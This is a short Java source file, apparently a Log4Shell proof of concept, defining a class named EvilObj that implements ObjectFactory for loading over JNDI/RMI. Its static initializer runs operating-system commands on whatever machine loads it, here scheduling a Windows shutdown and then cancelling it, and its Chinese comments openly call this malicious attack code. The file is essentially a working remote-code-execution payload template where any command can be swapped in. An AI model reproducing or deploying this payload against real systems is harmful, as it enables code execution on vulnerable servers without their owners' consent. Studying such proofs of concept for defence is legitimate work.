package top.jacktu.log4j.rmi;


import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilObj implements ObjectFactory {

    static {
        System.out.println("正在执行恶意攻击代码...");
        //以下为针对windows操作系统示例
        try {
            long tenDay = 3600L * 24L * 10L;//10天
            Runtime.getRuntime().exec("Shutdown -s -t " + tenDay);//10天后执行关机命令
            Thread.sleep(8*1000L);//等待8s
            Runtime.getRuntime().exec("Shutdown -a");//取消关机
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        //一些高版本JDK不实现ObjectFactory接口,调用的时候会报错
        System.out.println("getObjectInstance: 获取恶意类实例...");
        return null;
    }
}
